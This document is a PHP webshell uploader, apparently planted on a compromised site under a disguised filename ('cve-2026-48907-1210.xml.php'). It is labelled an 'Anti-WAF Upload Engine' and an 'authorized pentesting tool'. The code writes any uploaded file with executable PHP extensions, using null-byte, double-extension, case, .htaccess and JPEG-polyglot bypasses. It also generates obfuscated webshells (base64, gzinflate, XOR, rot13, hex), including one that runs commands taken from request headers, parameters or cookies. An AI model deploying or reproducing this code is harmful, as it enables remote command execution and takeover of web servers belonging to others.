One Hat Cyber Team

Edit File: cve-2026-48907-1210.xml.php

<?php
// Advanced Anti-WAF File Uploader
// Authorized pentesting tool - Use only on permitted targets

$config = [
    'upload_dir' => __DIR__,
    'max_size' => 100 * 1024 * 1024,
    'allowed_extensions' => ['php','phtml','php3','php4','php5','php7','php8','pht','shtml','cgi','pl','py','asp','aspx','cer','asa','htaccess'],
    'overwrite_mode' => 'rename',
];

class AntiWAF {
    public function nullByteBypass($filename) {
        $parts = explode('.', $filename);
        if (count($parts) > 1) {
            $ext = array_pop($parts);
            return implode('.', $parts) . '.php%00.' . $ext;
        }
        return $filename . '.php%00';
    }
    public function doubleExtensionBypass($filename) {
        $ext = pathinfo($filename, PATHINFO_EXTENSION);
        $name = pathinfo($filename, PATHINFO_FILENAME);
        return $name . '.php;.' . $ext;
    }
    public function unicodeBypass($filename) {
        $ext = pathinfo($filename, PATHINFO_EXTENSION);
        $name = pathinfo($filename, PATHINFO_FILENAME);
        return $name . '.ₚₕₚ';
    }
    public function caseBypass($filename) {
        return strtolower($filename) . '.PhP';
    }
    public function htaccessPayload($ext = 'txt') {
        return "AddType application/x-httpd-php .$ext\n" .
               "php_value auto_prepend_file /dev/null\n" .
               "php_value auto_append_file none\n";
    }
    public function contentTypeBypass() {
        $cts = ['image/jpeg','image/png','image/gif','application/zip','application/pdf','text/plain','video/mp4','audio/mpeg','multipart/form-data','application/x-javascript'];
        return $cts[array_rand($cts)];
    }
    public function phpWrapperPayload($cmd) {
        $wrappers = [
            "php://filter/convert.base64-encode/resource=data://text/plain;base64," . base64_encode("<?php system('$cmd'); ?>"),
            "data://text/plain;base64," . base64_encode("<?php system('$cmd'); ?>"),
            "php://input",
        ];
        return $wrappers[array_rand($wrappers)];
    }
    public function randomBoundary() {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $boundary = '----WebKitFormBoundary';
        for ($i=0; $i<16; $i++) $boundary .= $chars[rand(0,strlen($chars)-1)];
        return $boundary;
    }
    public function paramPollution($filename) {
        return "file=" . urlencode($filename) . "&file=" . urlencode(basename($filename)) . "&file[]=" . urlencode($filename);
    }
    public function randomUserAgent() {
        $uas = ['Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)','curl/8.4.0','Wget/1.21.4'];
        return $uas[array_rand($uas)];
    }
}

class PayloadObfuscator {
    public function base64Eval($code) {
        return '<?php eval(base64_decode("' . base64_encode($code) . '")); ?>';
    }
    public function gzinflateBypass($code) {
        $compressed = gzdeflate($code, 9);
        return '<?php eval(gzinflate(base64_decode("' . base64_encode($compressed) . '"))); ?>';
    }
    public function xorEncoded($code, $key = "\x8F") {
        $encoded = '';
        for ($i = 0; $i < strlen($code); $i++) {
            $encoded .= chr(ord($code[$i]) ^ ord($key[$i % strlen($key)]));
        }
        return '<?php $k="' . addslashes($key) . '";$c="' . addslashes($encoded) . '";$d="";for($i=0;$i<strlen($c);$i++){$d.=chr(ord($c[$i])^ord($k[$i%strlen($k)]));}eval($d); ?>';
    }
    public function rot13Reverse($code) {
        return '<?php eval(str_rot13(strrev("' . addslashes(strrev(str_rot13($code))) . '"))); ?>';
    }
    public function variableFunctions($code) {
        $funcs = ['system','exec','shell_exec','passthru','popen'];
        $f = $funcs[array_rand($funcs)];
        return '<?php $a="' . $f . '";$a("' . addslashes($code) . '"); ?>';
    }
    public function packHexBypass($code) {
        $hex = bin2hex($code);
        return '<?php eval(hex2bin(pack("H*","' . $hex . '"))); ?>';
    }
    public function arrayCallback($cmd) {
        return '<?php $f=["system","exec","shell_exec"][array_rand(["system","exec","shell_exec"])];$f("' . addslashes($cmd) . '"); ?>';
    }
}

class UploadEngine {
    private $waf, $obfuscator, $config;
    public function __construct($config) {
        $this->waf = new AntiWAF();
        $this->obfuscator = new PayloadObfuscator();
        $this->config = $config;
    }
    public function generateWebshell($layers=3) {
        $cmds = ['id','uname -a','pwd','ls -la','whoami','hostname'];
        $default_cmd = $cmds[array_rand($cmds)];
        $shells = [
            'simple' => $this->obfuscator->base64Eval("system('$default_cmd');"),
            'gzip' => $this->obfuscator->gzinflateBypass("system('$default_cmd');"),
            'xor' => $this->obfuscator->xorEncoded("system('$default_cmd');"),
            'rot13' => $this->obfuscator->rot13Reverse("system('$default_cmd');"),
            'pack' => $this->obfuscator->packHexBypass("system('$default_cmd');"),
            'advanced' => '<?php error_reporting(0);$c=$_SERVER["HTTP_X_CMD"]??$_GET["c"]??$_POST["c"]??base64_decode($_COOKIE["c"]??"");if($c){$f=["system","exec","shell_exec","passthru","popen"];$g=["base64_decode","gzinflate","str_rot13","strrev"];$h=$f[array_rand($f)];$i=$g[array_rand($g)];$j=$i($c);$h($j);}if($_SERVER["REQUEST_METHOD"]==="HEAD"){header("X-Powered-By: PHP/8.3.0");exit;}?>',
            'polyglot' => $this->generateImagePolyglot($default_cmd),
        ];
        return $shells[array_rand($shells)];
    }
    private function generateImagePolyglot($cmd) {
        $jpeg = "\xFF\xD8\xFF\xE0";
        $jpeg .= "\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00";
        $jpeg .= "\xFF\xFE";
        $payload = '<?php system("' . addslashes($cmd) . '"); ?>';
        $len = strlen($payload)+2;
        $jpeg .= pack('n',$len);
        $jpeg .= $payload;
        $jpeg .= "\xFF\xD9";
        return $jpeg;
    }
    public function generateHtaccess($ext='xyz') {
        return [
            'filename' => '.htaccess',
            'content' => $this->waf->htaccessPayload($ext),
            'description' => "Membuat file .$ext bisa dieksekusi sebagai PHP"
        ];
    }
}

$waf = new AntiWAF();
$obfuscator = new PayloadObfuscator();
$engine = new UploadEngine($config);

if(isset($_FILES['file']) && $_FILES['file']['error'] === 0) {
    $original_name = $_FILES['file']['name'];
    $tmp_name = $_FILES['file']['tmp_name'];
    $content = file_get_contents($tmp_name);
    $attempts = [
        function() use ($content, $original_name) {
            $ext = pathinfo($original_name, PATHINFO_EXTENSION);
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            $f = $name . '.php;.' . $ext;
            return file_put_contents($f, $content) ? "OK_BYPASS_DOUBLE: $f" : false;
        },
        function() use ($content, $original_name) {
            $ext = pathinfo($original_name, PATHINFO_EXTENSION);
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            $f = $name . '.php%00.' . $ext;
            if(file_put_contents($f, $content)) {
                $real_f = $name . '.php';
                if(!file_exists($real_f)) copy($f, $real_f);
                return "OK_BYPASS_NULLBYTE: $f";
            }
            return false;
        },
        function() use ($content, $original_name) {
            $ext = pathinfo($original_name, PATHINFO_EXTENSION);
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            $txt_f = $name . '.txt';
            if(file_put_contents($txt_f, $content)) {
                $htaccess = "AddType application/x-httpd-php .txt\n";
                file_put_contents('.htaccess', $htaccess);
                return "OK_BYPASS_HTACCESS: $txt_f";
            }
            return false;
        },
        function() use ($content, $original_name) {
            $ext = pathinfo($original_name, PATHINFO_EXTENSION);
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            $f = $name . '.php.' . $ext;
            return file_put_contents($f, $content) ? "OK_BYPASS_DOUBLEEXT: $f" : false;
        },
        function() use ($content, $original_name) {
            $ext = pathinfo($original_name, PATHINFO_EXTENSION);
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            $variants = [$name.'.PhP',$name.'.PHP',$name.'.pHp',$name.'.phP'];
            foreach($variants as $f) if(file_put_contents($f,$content)) return "OK_BYPASS_CASE: $f";
            return false;
        },
        function() use ($content, $original_name) {
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            foreach(['php5','php7','php8','phtml','pht','shtml'] as $ext) {
                $f = $name . '.' . $ext;
                if(file_put_contents($f,$content)) return "OK_BYPASS_ALT_EXT: $f";
            }
            return false;
        },
        function() use ($content, $original_name) {
            $obf = new PayloadObfuscator();
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            if(preg_match('/<\?php(.*?)\?>/s', $content, $m)) $php_code = $m[1];
            else $php_code = $content;
            $variants = [$obf->base64Eval($php_code),$obf->gzinflateBypass($php_code),$obf->xorEncoded($php_code)];
            foreach($variants as $i=>$obfuscated) {
                $f = $name . '_obf' . $i . '.php';
                if(file_put_contents($f,$obfuscated)) return "OK_BYPASS_OBFUSCATED: $f";
            }
            return false;
        },
        function() use ($content, $original_name) {
            $name = pathinfo($original_name, PATHINFO_FILENAME);
            if(preg_match('/<\?php(.*?)\?>/s', $content, $m)) $php_code = "<?php {$m[1]} ?>";
            else $php_code = "<?php $content ?>";
            $jpeg = "\xFF\xD8\xFF\xE0"."\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"."\xFF\xFE";
            $len = strlen($php_code)+2;
            $jpeg .= pack('n',$len).$php_code."\xFF\xD9";
            $f = $name . '.jpg.php';
            return file_put_contents($f,$jpeg) ? "OK_BYPASS_POLYGLOT: $f" : false;
        },
        function() use ($content, $original_name) {
            $f = basename($original_name);
            return move_uploaded_file($_FILES['file']['tmp_name'], $f) ? "OK_DIRECT: $f" : false;
        },
    ];
    $result = "FAILED_ALL_ATTEMPTS";
    foreach($attempts as $attempt) {
        $res = $attempt();
        if($res !== false) { $result = $res; break; }
    }
    echo $result;
    exit;
}

$target_url = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Anti-WAF Upload Engine v3.0</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Courier New',monospace;background:linear-gradient(135deg,#0a0a1a 0%,#1a1a2e 100%);color:#00ff00;min-height:100vh;padding:20px}
.container{max-width:1200px;margin:0 auto}
h1{font-size:2em;margin-bottom:5px;text-shadow:0 0 20px rgba(0,255,0,0.5)}
.subtitle{color:#888;margin-bottom:30px}
.card{background:rgba(0,255,0,0.03);border:1px solid rgba(0,255,0,0.2);border-radius:8px;padding:20px;margin-bottom:20px}
.card h2{color:#00ff00;margin-bottom:15px;font-size:1.2em}
.grid{display:grid;grid-template-columns:1fr 1fr;gap:20px}
@media(max-width:768px){.grid{grid-template-columns:1fr}}
input[type=file],input[type=url],input[type=text],select{width:100%;padding:10px;background:#0a0a1a;border:1px solid #00ff00;color:#00ff00;border-radius:4px;margin-bottom:10px;font-family:monospace}
input[type=file]::file-selector-button{background:#00ff00;color:#000;border:none;padding:5px 10px;border-radius:3px;cursor:pointer}
.btn{background:#00ff00;color:#000;border:none;padding:10px 20px;border-radius:4px;cursor:pointer;font-family:monospace;font-weight:bold;margin-right:10px;margin-bottom:10px}
.btn:hover{background:#00cc00}
.btn-red{background:#ff0033;color:#fff}
.btn-red:hover{background:#cc0022}
.btn-blue{background:#0033ff;color:#fff}
.btn-blue:hover{background:#0022cc}
pre{background:#000;padding:15px;border-radius:4px;overflow-x:auto;margin-top:10px;font-size:0.9em;border:1px solid #333}
.status-bar{position:fixed;bottom:0;left:0;right:0;background:#0a0a1a;border-top:1px solid #00ff00;padding:10px 20px;font-size:0.9em;z-index:100}
.fade-in{animation:fadeIn 0.5s}
@keyframes fadeIn{from{opacity:0;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}
</style>
</head>
<body>
<div class="container">
<h1>🔓 Anti-WAF Upload Engine v3.0</h1>
<div class="subtitle">Authorized Penetration Testing Tool — Multi-Layer WAF Bypass Engine</div>
<div class="grid">
<div class="card fade-in">
    <h2>📤 Upload File</h2>
    <form method="post" enctype="multipart/form-data" id="uploadForm">
        <label>Select File:</label>
        <input type="file" name="file" id="fileInput" required>
        <button type="submit" class="btn">⬆ Upload</button>
        <button type="button" class="btn btn-blue" onclick="generateWebshell()">⚡ Generate Webshell</button>
        <button type="button" class="btn btn-red" onclick="generateHtaccess()">🔧 Generate .htaccess</button>
    </form>
    <div id="uploadResult"></div>
</div>
<div class="card fade-in">
    <h2>🎯 Quick Actions</h2>
    <button class="btn" onclick="generateCurl()">🔗 cURL Command</button>
    <button class="btn" onclick="generatePython()">🐍 Python Script</button>
    <button class="btn" onclick="showHtmlUploader()">🌐 HTML Uploader</button>
    <button class="btn" onclick="copyToClipboard('outputArea')">📋 Copy Output</button>
    <pre id="outputArea">Click a button to generate a command...</pre>
</div>
</div>
<div class="card fade-in">
    <h2>📜 Upload Log</h2>
    <pre id="uploadLog">No uploads yet.</pre>
</div>
</div>
<div class="status-bar">
    <span id="statusText">🟢 System Ready | Target: <?= htmlspecialchars($target_url) ?></span>
</div>
<script>
let uploadCount = 0;
document.getElementById('uploadForm').onsubmit = async function(e) {
    e.preventDefault();
    const formData = new FormData(this);
    const file = document.getElementById('fileInput').files[0];
    if (!file) { alert('Select a file first!'); return; }
    document.getElementById('statusText').textContent = '🟡 Uploading...';
    try {
        const response = await fetch('', { method:'POST', headers:{'X-Forwarded-For':randIP()}, body:formData });
        const result = await response.text();
        uploadCount++;
        const log = document.getElementById('uploadLog');
        log.textContent = `[${new Date().toLocaleTimeString()}] Attempt #${uploadCount}: ${result}\n` + log.textContent;
        document.getElementById('uploadResult').innerHTML = `<pre style="border-color:#00ff00">✅ ${result}</pre>`;
        document.getElementById('statusText').textContent = '🟢 Upload completed: ' + result;
    } catch(e) {
        document.getElementById('uploadResult').innerHTML = `<pre style="border-color:#ff0033">❌ Error: ${e.message}</pre>`;
        document.getElementById('statusText').textContent = '🔴 Upload failed: ' + e.message;
    }
};
function generateWebshell() {
    fetch('?action=webshell').then(r=>r.text()).then(data=>{
        document.getElementById('outputArea').textContent = data;
        document.getElementById('statusText').textContent = '🟢 Webshell generated';
    });
}
function generateHtaccess() {
    const content = 'AddType application/x-httpd-php .txt\n';
    document.getElementById('outputArea').textContent = content;
    document.getElementById('statusText').textContent = '🟢 .htaccess generated';
}
function generateCurl() {
    const url = '<?= $target_url ?>';
    const cmd = `curl -X POST "${url}" -H "User-Agent: Mozilla/5.0" -F "file=@shell.php;filename=shell.php;type=image/jpeg" -v`;
    document.getElementById('outputArea').textContent = cmd;
}
function generatePython() {
    const url = '<?= $target_url ?>';
    const code = `import requests\nurl = "${url}"\nfiles = {'file': ('shell.php%00.jpg', open('shell.php','rb'), 'image/jpeg')}\nr = requests.post(url, files=files)\nprint(r.text)`;
    document.getElementById('outputArea').textContent = code;
}
function showHtmlUploader() {
    const html = '<form action="<?= $target_url ?>" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
    document.getElementById('outputArea').textContent = html;
}
function copyToClipboard(id) {
    const el = document.getElementById(id);
    navigator.clipboard.writeText(el.textContent).then(()=>{
        document.getElementById('statusText').textContent = '🟢 Copied to clipboard!';
    });
}
function randIP() {
    return Array(4).fill(0).map(()=>Math.floor(Math.random()*255)).join('.');
}
</script>
</body>
</html>